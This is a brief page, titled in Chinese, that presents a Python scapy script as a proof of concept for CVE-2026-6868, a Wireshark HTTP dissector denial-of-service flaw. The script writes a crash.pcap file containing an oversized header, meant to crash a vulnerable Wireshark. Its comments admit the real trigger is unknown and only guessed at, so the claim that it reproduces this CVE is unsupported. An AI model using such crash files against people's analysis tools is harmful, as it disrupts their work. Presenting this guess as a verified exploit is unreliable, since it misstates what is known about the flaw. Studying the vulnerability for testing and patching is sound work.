CVE-2026-6868 Wireshark HTTP协议解析器拒绝服务漏洞

# Proof of Concept for CVE-2026-6868 # This script generates a malformed HTTP packet that may crash Wireshark. # Run this script to generate 'crash.pcap', then open it in a vulnerable Wireshark version. from scapy.all import * # Create a malformed HTTP packet with an oversized header field # The specific trigger depends on the root cause, often large headers or invalid chunk sizes. # Here we simulate a large Content-Length header which might trigger an integer overflow or buffer issue. malformed_packet = IP(dst="127.0.0.1")/TCP(dport=80, sport=12345)/Raw( load=b"GET / HTTP/1.1\r\n" b"Host: example.com\r\n" b"X-Malicious-Header: " + b"A" * 10000 + b"\r\n" b"\r\n" ) # Save to pcap wrpcap("crash.pcap", malformed_packet) print("PoC file 'crash.pcap' generated. Open this file in Wireshark to test.")